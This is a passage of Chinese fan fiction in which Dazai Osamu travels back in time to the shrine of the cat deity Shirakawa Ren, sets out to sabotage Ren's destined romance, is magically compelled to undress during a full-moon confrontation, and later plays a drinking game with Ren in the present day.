可是,当一阵莫名的绯红攀上他的面颊,黄色的猫瞳染上不知来由的慌张无措后,那股属于神明的距离感不见了,属于妖魔的危机与险恶感也淡去了,只留下了近距离接触猫咪的滚烫暖意。
【好可爱。】
猫困惑地看着太宰治,眨了眨眼,又眨了眨眼,不知道在想什么。
而就在这样近乎静止的雪白中,一个穿着上看似乎是神侍的年轻人大惊小怪地叫了起来,格外煞风景。
“白川大人,您怎么走下了神舆?”
“还有这个人类!你还不快点从白川大人身上下来?!可恶!胆大包天!你这是渎神!!”
在神侍手舞足蹈的抗议下,周围目瞪口呆的“抬轿人”也纷纷反应了过来,发出了各自的抗议声音。
“喵喵喵!”
“喵嗷嗷嗷!”
“咪呜咪呜!”
太宰治:“……”
太宰治迅速无视了这些装作人类的小小猫妖,目光一扫,瞬间锁定这个神舆游行队伍中唯一的一个人类,也就是那个对他大呼小叫的神侍身上。
黑色的头发,瘦弱的身材,以及一张勉强能算得上俊秀的脸。
……难道是他?
太宰治沉沉看了这个神侍一眼,那眼中流淌出的恶意,哪怕只是一瞬间,都吓得后者一个激灵。
不过,在这个神侍反应过来之前,太宰治又飞快缩回了猫猫神的怀里,手指轻轻捏着对方厚重的神衣,柔弱仰头,鸢色的眼睛湿漉漉的,可怜极了。
“神明大人,感谢你救下了我,但我……我已经无处可去了。”
太宰治用柔弱无力又强忍悲伤的语气,哽咽着说道:
“但是,哪怕是如此无用的我,也会用全部的努力去学习怎么服侍你、报答你的,请相信我,我绝不会比任何人差,至少我绝对不会在你身边大呼小叫。”
被太宰治暗暗踩了一脚的神侍火冒三丈:“喂!!”
太宰治看也不看那人,只专注看着雪色的神明,湿润的鸢色眼睛比起祈求,更像是勾引,声音又轻又软:
“所以……”
“可以请你,把我留在身边吗?至少让我陪你走一段路,好吗?”
黄色的猫眼静静看他,深深看他。
·
武装侦探社员工宿舍旁边的独栋公寓里。
在所有的灯光都熄灭,某个擅于折腾的人类也趴在猫身边睡着了之后,白川莲闭上眼,和人类额头相抵,做了一个梦。
在那个梦里,他梦到很久很久以前,有一个人如雪花一样,从天空飘落,轻飘飘地落在了他的怀里,如同一场从天而降的命运。
他有着黑色的头发,漂亮又甜蜜的鸢色眼睛,每天都装作很柔弱很无辜的样子,事实上却又坏又狡猾,经常三言两语救把他身边的猫咪和神侍们气得嗷嗷大叫。
好坏哦。
可是,坏得让猫好喜欢。
并且……这也不能怪猫没能把持,毕竟,是那个人类先喜欢他的。
【好喜欢。】
在与那个人类的第一次相遇,他就听到了——
那个人类的愿望。
【别离开我,别丢下我一个人。】
·
雪色的天地里,雪色的神明垂下眼,黄色的猫瞳静静看着自己怀里的狡猾人类。
片刻后,他露出了一个柔软的笑。
“好。”
他决定、也承诺,要实现这个人类的愿望。
15.015 神社
太宰治决意要拯救白川莲。
他决定,一定要将白川莲这个笨蛋猫妖,从未来数百年的守候与孤寂中拯救出来。
这不仅是因为白川莲是他仅有不多的朋友,更因为太宰治烦死了那句“我对人类没有期待”。
【我对人类没有期待。】
这样的一句话,背后究竟隐藏着怎样的意味,太宰治只是稍稍一想,就感到一股无名怒意从心口升起,哪怕如今已经时隔三年,但那烈焰般的怒火依然源源不绝地炙烤着他的心脏。
放不下。
也不可能放下!
所以,当太宰治震惊发现自己竟穿越了时间,来到了数百年前白川莲还是“白川之主”的时候,一个超绝的点子便在他心中如杂草疯长。
——破坏白川莲命定的恋情。
这实在是个疯狂的念头。
并且十分缺德。
甚至有可能在操作过程中令白川莲开始恨他。
但没关系,这不重要,太宰治不在乎这个……好吧,这是骗人的,太宰治很在乎这个。
可是没有办法,太宰治并不擅长去“拯救”某个人,也不擅长令事情向着大家都会开心的方向发展。
他是最绝望的恶鬼、最无可救药的恶人,他所学和所会的,都只允许他在“坏”与“最坏”中做抉择。
所以,与其去赌穿越回去后成功开解和拯救了白川莲的未来,太宰治宁可选择在一开始就斩断这一切的错误。
而至于他的胡乱插手是否会扰乱所谓的命运,以及被修改的“过去”会迎来怎样混乱的“未来”,这些都不是太宰治想要去考虑的问题。
因为,斩断白川莲与他未来那位人类恋人的缘分——这就是目前太宰治所想到的最优解。
“真是被那个可恶的萝莉控大叔害惨了……”
太宰治在心里疯狂抱怨着某个萝莉控大叔给自己留下了糟糕的榜样,以致于自己都变成了一个如此缺德的大人。
但抱怨归抱怨,这坏人姻缘的糟糕事,太宰治还是默默决定要进行到底了。
“只是……”
只是,偷偷决定要干坏事的太宰治,很快遇到了他的第一个麻烦,也是最重要的问题:
白川莲的那个混账人类恋人,是谁?
当一众猫妖们还在神舆游行的时候,太宰治曾经锁定了游行队伍里的唯一人类,神侍阿博。
神侍阿博今年十六岁,身材瘦弱,模样比起漂亮的猫猫神白川莲来说,只能用一个词来形容,那就是灰头土脸。
可即便如此,游行路上,太宰治还是对这个神侍阿博投以了相当的关注,毕竟这小子算是这一群猫妖中唯一符合“人类”条件的家伙了。
——直到神舆游行的队伍回到本社,太宰治看到一大波猫猫和一大波人类向他袭来!
太宰治:等等,怎么会有这么多人?!
人,人,人。
猫,太宰治,猫。
人,人,人。
猫,白川莲,猫。
人,人,人。
这些人群与猫群轰隆隆地来,又轰隆隆地过,像一群狂奔的野牛,把太宰治与白川莲用力挤开。
而当人群和猫群终于散去后,太宰治震惊发现,白川莲那个笨猫早已经回到了神明的本殿里。
自己竟然被那个笨猫直接丢下了!
又又又又一次的转头没!
被放置了的太宰治险些没被这只可恶猫妖给气笑。
但,来都来了,太宰治也开始打探起了这个神社的情况。
以妖怪为主的神社,与以人类为主的神社是不太一样的。
这里没有太多太复杂的职位,如巫女神乐师神人直丁之类,而只有为了应对乱世的武装集团——一大群猫和一大群人。
那些大大小小的猫妖暂且不说,至于那一大群人,太宰治套了两句话,就明白他们大多是从附近城池和村庄逃难而来依附白川神社的人们。俗称,被猫妖捡回来的。
太宰治:“……”
难怪那个笨蛋猫妖捡他那样顺手,原来是早就做惯了的?
太宰治心中莫名不爽,抱着手,脸色黑沉沉的,模样看起来格外吓人。
但是,却非常吸引猫。
或许,猫妖就是这样一脉相承的好奇心旺盛且热爱手贱的动物吧。
当看到太宰治一个人站在白川神社外的小树林里冷冰冰地冒黑泥时,神社附近的大猫小猫们不但没有像人类那样下意识退避三舍,反而好奇地向太宰治偷偷靠近。
从外观上来看,这群小猫妖非常像是人类中的幼童,只不过它们圆溜溜的猫眼、尖尖的猫耳,还有背后拖着的几条尾巴暴露了它们的身份。
它们偷偷地、悄悄地向太宰治靠近,用自以为隐蔽的动作匍匐前进,在与人类接近到一定距离后,就小心翼翼地伸出爪子,好奇勾了勾太宰治裤脚。
没有反应!
哈哈!
小猫咪心情大振,纵身一跃,就要蹬鼻子上脸地踩在人类头上耀武扬威。
但下一秒——
啪!
冷酷无情大魔王一巴掌就把这只小小猫妖按在树上。
砰!
啪嗒!
变身烟雾散去,一只被迫变回小猫咪的小朋友顺着树干,软绵绵地溜到地上,四脚朝天,一脸的晕头转向,连咪呜声都带着不知今夕何夕的迷茫。
太宰治扫了周围一眼,不怀好意:“还有谁要来试试?”
“咪呜!”
“喵嗷嗷嗷!”
“嘤嘤嘤。”
猫妖们被这个能强制它们变身的大魔王吓得满地乱窜。
就连被太宰治一巴掌拍回原形的小猫咪,都蹬着腿,想要趁大魔王不注意时偷偷跑路。
但奈何大魔王实在眼疾手快,只一伸手就揪住了它命运的后劲皮。
四脚骤然腾空的小猫咪在空中徒劳扑腾。
“咪呜QwQ”
太宰治看着这只送上门来的小小猫质,微微凑近,露出核善微笑。
“乖,回答我几个问题,我就放了你。否则的话——”
太宰治阴森森的:
“我就和白川说,要和你当守卫神社的搭档,让你一辈子都只能给我当猫!”
小猫咪:“喵嗷嗷嗷嗷!”
坏人!坏人!
竟然连可爱小猫咪都狠心威胁,是天大的坏人!
白川大人,救命啊!
你把一个超级大坏蛋捡回家啦!!
·
在猫质的领路下,当然,主要还是靠太宰治的坑蒙拐骗,不到三个小时,太宰治就将白川神社的情况探明白了大概。
白川神社因西边流经的一条名为白川的河流而得名,但它最开始时,只是人类村子里的一个小小的神社,所供奉
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的也是一个不知来历的无名神罢了。
可后来,这个小小神社的神主捡到了一只来历不凡的猫妖,给予了这个猫妖“白川”的名字,于是当那个神主死去后,白川继承了神社,成为了这个小神社的神主。
而又因为成为神主的白川几乎对信众有求必应,并且白川也真的有在这个妖魔横行的年代守护一方的能力,所以最后,白川又从神主成为了被供奉的神灵。
至于最初被供奉的那个无名神,则在白川神社壮大后被移到了摄末社,成为了白川之主的附属神灵。
从猫妖,到猫神,到白川之主。
这个转变的过程并不长,只有短短二十年而已。
而今年,是白川作为“白川之主”的第九十八年。
“听说,只要当满一百年的神,就能获得天籍,成为被高天原正式认可的神呢。”
小猫咪说着,一脸的向往。
“不再是妖魔,也不是那些会因为人们的遗忘就消散掉的无名神,而是即便死去也会再次转生、真正永生不灭的神灵哦!”
太宰治沉默听着,长长的眼睫轻轻垂下,敛去沉沉眸色。
小猫咪说得上了头,一边摇着尾巴尖一边喵喵着向太宰治这个新人介绍起了白川神社。
那个离河流白川最近的,毫无疑问就是白川神社的本殿,白川之主作为活着的神灵,日常起居就在那里。
而在本殿的不远处,有一颗大树,是御神木。御神木上头悬挂着注连绳与纸垂,它们所对应的地方自然是拜殿,是信众在此祈祷、摇铃、献赛钱的区域。
太宰治并不打算对拜殿投去更多关注,可拜殿前的一件怪事却让他不得不指出:
“御神木上的那根注连绳,为什么是红色的?”
小猫咪理所当然道:“当然是为了祈求姻缘呀!”
太宰治:“祈求姻缘的红绳不是注连绳而叫许愿……算了。”
跟妖怪的神社计较这些干什么。
太宰治又看向依着河流而建的本殿,问道:“平时白川、大人,像今天这样神舆游行的时候多吗?”
小猫咪毫不设防,回答道:“挺多吧?不太清楚哦,主要还是看白川大人的心情。”
“那白川大人这一次的心情好吗?”
“可能不太好吧。”小猫咪思考,“毕竟今天是满月。”
“满月就会心情不好吗?”
小猫咪严肃道:“是哦,白川大人一到满月,就会把自己关在本殿里,谁都不许进,威势也变得好可怕,一定是在偷偷生气呢!所以人类,记得日后满月这天一定不要靠近本殿,不然会很惨的!”
太宰治看着这只愚蠢的小猫咪,挑眉不语。
偷偷生气?
不可能的。
无论是几百年后的白川莲,还是几百年前的这位白川之主,他们都不是那种会“偷偷生气”的人。
他们真正生起气来,必定是惊天动地的。
所以——
在满月的这天晚上,白川莲那个笨蛋猫妖到底在本殿里藏了什么秘密?
会……与那个不知名的人类恋人有关吗?
数百年后没能成为高天原一员的白川莲,是不是就是在这个谁都不敢靠近的时间段里,遇到了那个混蛋人类?
一点都没有生气的太宰治,在这一刻冷静做下决定:
今晚,他一定要去本殿一探究竟!
16.016 魔性
冬天满月的夜晚,天与地都是一片雪色。
想要在这样的夜里做点坏事,其实是有点难度的,但如果穿着一身白衣的话就另当别论了。
太宰治穿着夏天的白色薄衬衫和白色长风衣,在这样的雪夜里小小地打了个喷嚏。
不知道为什么,在这一刻,太宰治突然很懊悔在自己十五岁那年生病的时候,没有趁着这个时机把那只过来照顾他的大白猫好好摸一遍。
早之后日后会成为朋友,当时就不那么矜持了。
猫嘛,暖洋洋软绵绵的猫,卧在身边一副任人蹂躏的样子,那他直接伸手摸摸又能怎么样?
有什么好害羞的?
太宰治仰头望着天空分外清澈的圆月,感到那片片飘落的大雪好似不仅落在了他的肩上与头上,甚至还落在了他的记忆与思绪中。
它们让他的思考变得迟钝又缓慢,也模糊了他曾经的想法与念头。
“当时的我,到底在想什么?”
“不记得了……”
【真的不记得了吗?】
在思考的泡泡浮出思绪的海面之前,太宰治熟练地将那些杂乱的念头按下,脚步则如猫一样轻盈,无声靠近了月夜下显得异常黑暗的本殿。
白天给他介绍神社的猫质,如今已经被太宰治无情抛弃了,此刻应该正在哪儿偷偷躲起来了吧。
而至于那只猫质提到过的“威势”,太宰治则完全没有感受到。
这是比较有问题的一点。
经过白天的实验,太宰治已经明白,自己的异能力在面对这些传说中的妖怪们时,并不是全然失灵,却也没有在横滨面对异能者时那样好用。
大概削弱了五成吧。
太宰治其实并没有太把这件事放在心上,因为他平时搞事时其实也不是很依靠异能力。
——但这不代表他感受不到来自“能力”的威势。
当一个强大的、可怕的生命体出现时,所有在场的智慧生物都会感受到天然的压迫感,并下意识生出对危险对死亡的恐惧,这是必然的。
太宰治此人,固然对“死亡”对“恐惧”的定义有所扭曲,并不曾畏惧那些常人所畏惧的东西……可是,这并不代表他“感受”不到。
而如今的问题就在于,当所有人都“感受”着满月的白川、对本殿那位神明所散发的威势而瑟瑟发抖,甚至就连地面都在隐约震颤时,唯有他什么都“感受”不到。
什么,都,没有!
就好像他们遥远得不仅隔着数百年的时间,还隔着无穷无尽的世界。
太宰治:“……”
^_^
来到神社本殿前,太宰治并不打算贸然闯入,而是准备先探探地形,找一找有没有“人类”的踪迹。
然而,就在太宰治登上最后一级台阶的瞬间,本殿的大门蓦然敞开!
呼——
冷风骤起!
在本殿大门开启的瞬间,两侧点燃的灯火便在夜风中熄灭了。
掩映的雪色月华下,神殿尽头的白川莲笼罩在一层模糊的辉光里。他双眼紧闭,像是正在小憩,面目却又十分模糊,如同真正的神灵一样,除了“端肃圣洁”这样的感受之外,其它的一切都难以辨明。
可是……
可是,太宰治清楚看到了灯盏熄灭前那一头如淤泥般流淌的黑色长发,听到了神殿深处的野兽的呼吸。
呼——吸——
呼——吸——
如同某种无声咆哮!
这一瞬间,那所有虚假的圣洁、伪造的庄严,都黯然失色,被利爪撕裂了假面。
取而代之的,是如深渊般深邃的漆黑与魔魅。
不是伪装出来的无知与无害,也不是死板无趣的端肃严正,更不是毫无深度的圣洁。
而是魔性的魅力,魔性的蛊惑,魔性的危险。
这,才是妖魔的真相、大妖之主白川莲的真面目!
太宰治看着本殿深处那幽深的黑暗与魔性,胸膛里那颗热衷搞事热爱作死的心,在这一刻又忍不住蠢蠢欲动了起来。
——多么有意思啊!
还想要看更多。
白川莲那个笨猫属于“神”的那一面,这些年来太宰治已经看得够多了,而现在,他想要看“魔”的那一面。
那被白川莲藏起的、从来没有在他面前暴露过的“面目”,究竟是什么样的?
为什么要那样小心地藏起来?
有什么秘密不能对他说吗?
呵,猫!
抱着这样“不管,反正就是要对猫做点坏事”的念头,太宰治并没有在看清本殿的模样后立即离开,去寻找那个不知身在何处的“混账人类”。
他先是迅速扫了一眼四周,确定自己不会被突如其来的家伙打闷棍后,就大摇大摆地往本殿深处走去:
门都打开了,这不就是欢迎的意思吗?
就像太宰治想的那样,在他踏入殿内的瞬间,大门骤然阖上。
迅捷而又无声无息,只有粗暴的风扯动太宰治的衣角。
密闭的殿内,黑暗降临。
月华下的盈盈辉光消失了,但一双幽深的黄色猫瞳却在此刻睁开,直勾勾地看着太宰治。
“阿嚏!”
太宰治没有恐惧,只觉得有趣,并打了个喷嚏。
【你不害怕。】
这是一句陈述句,并且似乎是从太宰治身后响起的。
可太宰治身后,明明仅有门而已。
有趣。
太宰治兴致盎然地看着这只猫,没有立即回答。
那声音又说道:
【不怕死亡,难道连痛楚都不怕吗?】
太宰治:“……”
这个还是有点怕的。
为了避免被现在还不够熟悉的猫暴起抓两爪子,太宰治终于开口了,声音轻飘飘的,甜蜜得像是在撒娇。
“没有什么可怕的吧。”
太宰治很清楚,别看白川莲这笨猫看起来好像很端得住的样子,但其实他最喜欢别人跟他撒娇了。
想来这一点在几百年前的时候也应该也差不多。
暗地里试图狂拉好感的太宰治说道:“你也不会对我做什么的,不是吗?”
神台上的妖魔不为所动,目光如冰雪冷冽,但太宰治背后的声音却似乎笑了一声。
【哪怕面对这样的我,你也如此肯定?】
太宰治当然很肯定。
白天的打探时间可不是白费的。
太宰治早就知道了,这么多年来,白川神社从来没有“死因不明”的尸体或者突然失踪的人。
而人类实在是一个好奇心过分旺盛的种族,这些年来试图在满月时闯入本殿的肯定也不止他一个。
所以,没有“死因不明”也没有“失踪者”,不就代表着白川莲哪怕在满月时也不会失控吗?
当然,面对需要刷好感的对象时可不能这样说。
太宰治垂下眼,用又轻又软的声音说道:“我当然如此肯定,因为正是你拯救了我啊,白川大人。所以,无论神明也好,妖魔也好,您的身份对我而言又有什么关系呢?”
在需要演戏的时候,那些动人的话语太宰治总是信手拈来。
并且由于对猫的熟悉,知晓白川莲作为“猫形测谎仪”的本质,太宰治这一次甚至都没有说谎。
是的,太宰治当然没有说实话,但他也没有说谎话。
他只是把真话加工了一下,想来哄过这只笨猫是没问题的。
刚这样想着,下一秒,太宰治就听到了身后的声音冷漠响起。
【谎言。】
太宰治:???
不对啊,这笨猫什么时候这么聪明了?
【连自己的欲|望都不敢正视的怯弱之人。】
太宰治的呼吸骤然一重,轻松的心情瞬间消散,一股大难临头般的预感疯狂上涌。
不妙不妙不妙。
糟了糟了糟了。
有什么地方玩脱了。
——这家伙,这个作为妖魔的笨蛋猫,好像比现代时候的他更敏锐,更果断,也更……直来直往!
直!来!直!往!
这对太宰治来说可一点都不算个好品质。
所以……要跑!
要赶快离开这里!
太宰治的心中疯狂发出警告,然而他的身体却无法动弹。
黑暗中,无尽的阴影似乎化作了无尽的触角,将他牢牢捆缚在原地。
与此同时,太宰治身后的声音似乎也越来越近,就像是在他耳畔响起,以致于说话间的每一丝细微的风动,都如此醒目。
【说吧,诚实地告诉我——你为何而来。】
太宰治的手颤抖着,像是有两股力量在角力。
可是没有办法,身形单薄的人类完全无法反抗身后那只邪恶的妖魔,在这场无声的角力下输得一败涂地,最后,可怜人类只能一点点抬起手,在那只妖魔的逼迫下,轻轻捏住自己白色风衣的衣领,然后……
轻轻脱下。
【你为什么而来?】
衣物落地的声音不大,就像是一片雪花飘落。
可太宰治的心弦剧震,一股热意与说不出的羞耻感涌上心头。
“不、不行!停——”
【你为什么而来?】
太宰治垂着眼,在黑暗隐秘的视线里,看到了白色的自己。
停下,停下来……不对,冷静下来!
越剧烈的情绪,只会给妖魔更多的可趁之机。
而且,不过是脱掉外衣而已,这又有什么好感到羞耻的?
冷静!
哪怕太宰治这样反复提醒着自己,哪怕太宰治本身的羞耻感早已扭曲、按理来说不该为了这样的事而感到羞耻。
可是……
可是,白川莲,在看他。
那双眼睛,在看着他。
冷静地看着他,不受控制地脱下衣服,不受控制地颤抖。
好羞耻。
在不该羞耻的时候羞耻,而这一份羞耻也令他越发羞耻。
好热。
体温在升高,明明不该如此,却没有办法控制,而这样的无法控制也令他的体温越发难以自控。
呼吸也开始发烫。
脑袋里一片混乱,快要被乱七八糟的情绪淹没了。
不行。
不行不行不行不行。
太糟糕了,不能这样下去。
快做点什么!
“我、我想要和你成为朋友,不,我们本来
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就应该是朋友,”大脑也在发烫,太宰治听到自己的声音在颤抖,感到自己此刻几乎在胡言乱语,几乎在将自己剖白,“所以我来是为了——”
但妖魔否定了。
【谎言。】
妖魔表示,这个胆大包天的人类,远没有他表现出的那样可怜、那样走投无路。
所以——
就将这个人类逼迫到真正走投无路的地步好了。
太宰治感到自己的手按在了单薄衬衫的第一颗扣子上,轻轻解开。
然后是第二颗,第三颗。
仅解到这里,太宰治的手就停下来,可下一秒,他的手却伸向了他脖子上的绷带。
“不、别!”太宰治脱口而出,声音近乎哽咽地哀求,“别这样对我,白川,我真的什么坏事都不会做的,不要用这种方式对待我。”
这一刻,身后妖魔与身前神灵的目光都似乎凝固在了太宰治的身上。
不可否认的是,在这样的时刻,这个人类在黑暗中哀求的面容实在美丽至极,动人至极。
可是——
【谎言。】
这个人类,依然在撒谎。
用他漂亮的面容,动人的声音,精湛的伪装。
——他根本没有半点反省,也没有半点想要说实话的意思。
于是,簌簌声中,第一条绷带落下了。
白色的绷带,在白色的注视下,掉落在白色的风衣上。
太宰治用力闭了闭眼,感到自己的指尖都在发颤,哪怕他一直都在竭力调整呼吸,也仍感到这间密闭的宫殿内越来越热。
不应该的……明明是大雪的夜晚。
不应该的……明明自己的体温并不高。
不应该的……明明……明明……
千言万语,无数的混乱思绪化作了一句话——
可恶的猫!
等他回到现代,你就死定了!!
“白川大人,别……不要这样……”他近乎哭泣着求饶。
但妖魔不为所动。
【你为何而来?】
太宰治闭上了眼。
接下来,哪怕太宰治再如何主动地、十二万分配合地扰乱自己的思绪,可当第二根、第三更,乃至于整个上半身的绷带都被他“主动”从衬衣下方扯落后,他终于感到自己的肩膀颤抖了起来。
没办法了……
已经……控制不住了。
“白川、莲!你这个变态!该死的猫妖!”
这一刻,太宰治再也没有了伪装的柔弱,刻意拿捏的哭腔,精巧绝伦的求饶。
他就像是被彻底逼进墙角的小可怜,开始对某个邪恶的猫妖疯狂炸毛。
“你就这么喜欢看别人在你面前脱衣服吗?”
太宰治感到手指探入了袖管,缓缓地、一寸一寸地抽出了左手手臂上的绷带。
“还是用这种不痛不痒的方式——你难道就是那种自己没办法O起所以只能用折磨小男孩的方式获得O感的O无能吗?!”
太宰治想尽办法地激怒身后的可恨猫妖,或者激怒神台上那个无动于衷的“神明”也好。
可是,无论是那个神明,甚至是身后好似无限贴近的妖魔也好,都与他矜持地保持着距离——最后一分的距离。
太宰治开始口不择言:“你以为用这种方式就算是折磨和羞辱吗?我告诉你,说到折磨和羞辱别人,我比你更精通!”
好热。
真的好热。
明明那只该死的猫妖就在他身后,可偏偏……
簌簌声中,右手手臂的绷带也落下了。
“还是说你其实真的是O无能?你想要我做到什么地步?哪怕我把衣服脱光了你都不肯抱我吗?”
明明是代表着欲|望的妖魔,但那该死的、可恨的猫妖,定力好得可怕。
明明它的手掌就按在他的手上,与他的皮肤只有一个指节的距离。
明明它就站在他的身后,与他只有一步之遥。
但那只猫就是不肯触碰他,不给他半点反制的机会。
“为什么不敢亲自来?明明你可以对我为所欲为的吧,为什么只做到这种地步就算了?”太宰治像是在笑着,声音诱人,“你不想亲自摸摸我吗?只是看的话,是没办法满足我的哦。”
终于,衬衫的扣子也解完了。
而在太宰治即将脱下衬衣的那一刻,他终于听到了猫妖的声音。
【真的吗?】
无形的妖魔这一次绕到了太宰治的身前。
它那代表着指尖的热度,隔着最后一厘米的距离,从太宰治半掩的胸口一路向下。
【真是一个口不对心的人类啊,承认自己的欲|望对你来说这样难吗?】
那一路滑落的滚烫热度最终落在了要害上。
【你觉得现在,谁更像变态?】
这一刻,仿佛时间都凝固了。
太宰治蓦地睁开眼,不知道哪里来的力气,冷不丁挣脱了妖魔的控制,用力推开身前的妖魔,一个箭步冲破木窗。
——噗通。
他落进了白川。
宫殿内,妖魔发出惊讶轻咦,来到窗前,低头打量。
而在它的视线尽头,冰冷的白川下,洁白的细沙上空无一人。
17.017 喝酒
陌生而现代化的客厅里,白川莲没有在榻榻米上睡很久,就很快醒了过来。
这一点倒不是白川莲的警惕心太高了,而是实在被压得胸闷气短睡不着。
因为此刻,某个人类此刻正毫不客气地把猫猫神当作抱枕抱在怀里,并且如八爪鱼一样挂在他的身上。
这样的感觉实在陌生,可仔细想想,又有些熟悉。
就好像很久很久以前,也曾经有过这么一个人类,喜欢踩在猫猫神头上耀武扬威,而且性格过分黏猫,有时候甚至还会故意发出喵喵的声音向他撒娇,引起他的注意。
实在可爱。
让那个人类的坏心眼都显得可爱了起来。
但……那个人类是谁?
长什么模样?
和他是什么关系?
……不记得了。
全都不记得了。
时间实在是一种最残酷不过的东西,可以冲淡和削减世上的一切。
无论是那些认为刻骨铭心的记忆,还是发誓永不忘却的誓言,最终却都会被时间长河漂洗为褪色的墨痕。
这是来自战国的大妖魔白川莲早已经接受了的事。
可是,当白川莲看着怀中漂亮人类的睡容时,在意识恍惚间,心中竟又有一种说不清道不明的情绪滋长着。
如同昨日重现。
在这一份让白川莲自己都说不清的情绪的支配下,他抬起没有被太宰治压住的左手,轻轻地、慢慢地靠近他年轻柔软的面颊。
可是,在真正触碰的前一秒,白川莲又停下了。
理智的迟疑,取代了情感的靠近。
呼——吸——
呼——吸——
太宰治的气息平稳绵长,毫无疑问是熟睡了的。
但这个人类又实在是过分敏锐,明明白川莲的动静细微近无,可他却一下子就被惊醒了。
像是一只警惕心极高的猫。
可意外的是,当这个警惕心极高的人类睁开眼后,他却下意识地、习惯性地贴近,像是猫猫撒娇一样,用脸在白川莲的掌中亲昵地蹭了一下。
——如同昨日重现。
白川莲胸膛内的心跳猛地漏了一拍。
那股陌生而熟悉的情绪越发像是藤曼疯长,牢牢地攀住他、抓住他,不给他任何回避的机会。
“怎么了,莲?”
太宰治慢吞吞地眨着眼睛,漂亮的鸢色眼睛还含着水蒙蒙的雾气,一副还不太清醒的样子,可他的每一个动作每一个细微反应,都在说明他有多信任多喜欢白川莲。
“睡不着吗?”
他眨眨眼,又眨眨眼,一下子清醒过来,盘膝坐起,不怀好意地看着白川莲。
“要玩点有意思的游戏吗?”
白川莲看着太宰治这一段行云流水的表演,笑意在他自己都没察觉到的时候在眼眸轻轻流淌。
“好啊。”白川莲也慢吞吞地坐了起来,“你想玩什么?”
作为与这个人类相识多年的猫猫神,白川莲无疑是非常熟悉太宰治的小动作的。
在白川莲看来,太宰治这个聪明人类似乎天生就擅长伪装自己。当太宰治还只是一个人类幼崽的时候,他就非常熟练地在白川莲面前伪装冷漠,伪装活泼,甚至还会伪装柔弱、伪装信赖。
不过白川莲始终看得明白,知道那些都是假的。
但是,这一刻是真的——这个警惕心比猫咪还高,伪装能力比猫咪还强的人类,在这一刻露出的喜欢、依赖与熟稔,是真实的。
虽然这样的依赖,也多少有点刻意表现、故意勾|引、预谋抓猫的意味在里头就是了。
……更可爱了。
被人类视作猎物的猫猫神静静配合人类的表演。
“说起来我的确很久没有玩游戏了,这一次太宰君又准备用水泼我的方式来作弊吗?”猫猫神一脸镇定,一脸骄傲,“同一个招数是没办法对我生效两次的!”
“哇,真是大言不惭呢,所以那个为了不输给我就偷亲我的家伙是谁?”
“那一次明明是你先作弊!”猫猫生气道,“我查过了,那个版本的游戏人物没有做好平衡,你是故意的!”
“是哦,我就是故意的。”
说话间,太宰治已经起身去了厨房一趟,再出来时手上拿了一瓶清酒,两个酒杯。
“所以接下来,我们玩一个更公平的游戏。”
太宰治说着,笑眯眯与白川莲对面而坐,将酒瓶与酒杯放在两人中间。
白川莲扫了一眼,困惑歪头:“什么游戏?”
太宰治声音轻快:“快问快答。谁在三秒内没有回答出问题,就要喝一杯酒,谁先喝醉,或者是谁喝掉最后一杯酒,就算是输。怎么样,很简单很公平吧?”
从游戏规则来说,似乎的确公平。
可白川莲哪怕闭着眼睛,都能从太宰治身上嗅到这个狡猾人类的不怀好意。
不过,问题就是……这个游戏到底坑在哪儿?
没想出答案的猫猫神,决定以身涉险,亲自验证。
“没问题。”白川莲一口应下,“不过我要先提问。”
“好。”太宰治也答应得很干脆。
于是,白川莲率先问道:“你这四年为什么一直没有联系我?”
这个问题是猫猫神精挑细选的。
因为这个问题的答案是摆在明面上的,那就是人类想联系猫的心不诚。
沟通彼岸的手机,只会传递带着强烈意愿的信息。
白川莲一连四年都没有收到太宰治的邮件或电话,想来不是太宰治真的四年以来都没联系过他,而是太宰治想联系他的心不够强烈。
可这件事太宰治会承认吗?
不会的。
这个人类虽然平时黑心又狡猾,无耻且厚脸皮,但在某些触及真心的时候,反而生涩害羞极了,会像含羞草一样用叶片把自己脑袋盖起来,直到认为安全了之后,才会重新站出来,装作什么事都没发生过似的走过。
所以猫猫神认为,用这件事卡狡猾人类三秒时间,那是绰绰有余的!
果然,就跟白川莲想的一样。
在白川莲问题出口的瞬间,太宰治白皙的脸上瞬间浮出了一层薄红。
但又跟白川莲想的不同的是,太宰治并没有露出懊恼、闪避、理亏之类的表情,反而……生气了?
像是一只被踩到尾巴的小猫咪一样,气咻咻地炸毛了?!
白川莲愕然看去。
在他的视线里,漂亮人类正因他的问题而浮出怨念表情,气愤瞪着白川莲,鸢色的眼睛里有一层十分动人的潮湿水气浮动酝酿。
那是一种白川莲曾经很熟悉的……东西。
“三秒时间到了!”
这一刻,白川莲莫名心慌,连忙在太宰治真正开口说点什么之前打岔喊停。
“该你喝了,太宰君。”
太宰治发出了一个笑音,有点冷。
但到底还是愿赌服输,拿起酒瓶,在酒杯底部倒了薄薄一层,抬手喝掉。
白川莲看得眼睛都圆了。
这也行?
这也叫喝酒吗?
那么一点点的酒,哪怕是人类、哪怕是喝到地老天荒,也不可能会喝醉的吧?!
难道说太宰这个人类给猫挖的坑就在这里??
想到这一点,刚刚还莫名不自在的白川莲立即回过神,警惕了起来,严肃指出:“太宰君,你这样是不行的!既然玩游戏,那就要认真玩,要愿赌服输,你怎么能耍赖呢?”
太宰治坚决否定了白川莲的指控:“我哪里耍赖了?我刚刚难道没有服输吗?”
白川莲震惊道:“可我们明明说好的是喝一杯酒呀!”
“刚刚那不算一杯酒吗?”
“当然不算!”
“从杯子里倒出来的一杯酒,怎么不是‘一杯酒’?”
“都说那才不算是‘一杯酒’!”
“就是!”
“不是!”
“就是!”
“不是!”
这一刻,一人一猫又像是当年在游戏厅那样,幼稚地争辩了起来。
只不过,可能是长大的人类终于学会了沉稳,这才没有像当年那样扑上去跟猫互挠。
但人类的耍赖水平也是顶尖的。
只见他两手一抱,刁难说道:“那你说要怎么办?”
怎么办?
这还不好办!
白川莲迅速倒满一杯酒,向太宰治递过去,无声暗示。
但人类头一扭,不喝。
白川莲加强语气:“太宰君,愿赌服输!”
人类把头扭到另一边,不听。
白川莲:“……”
呵呵,猫才不惯你呢!
白川莲扑上去,直接把太宰治按倒,抬手就要强行灌酒。
“说好一杯酒,就一定要喝一杯酒!乖一点,不要耍赖!”
“不要,不要,我才不喝公报私
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仇的猫的酒!”
太宰治开始在地上滚来滚去。
白川莲试图让太宰治安分下来,可这个人类着实滑溜,简直就像一条扭来扭曲的鱼,让猫实在难抓。
猫气急:“安分一点,太宰君,明明连游戏规则都是你定下的,哪里是我公报私仇了?”
“就是公报私仇!你就是一只趁机想要灌醉我的坏猫!”
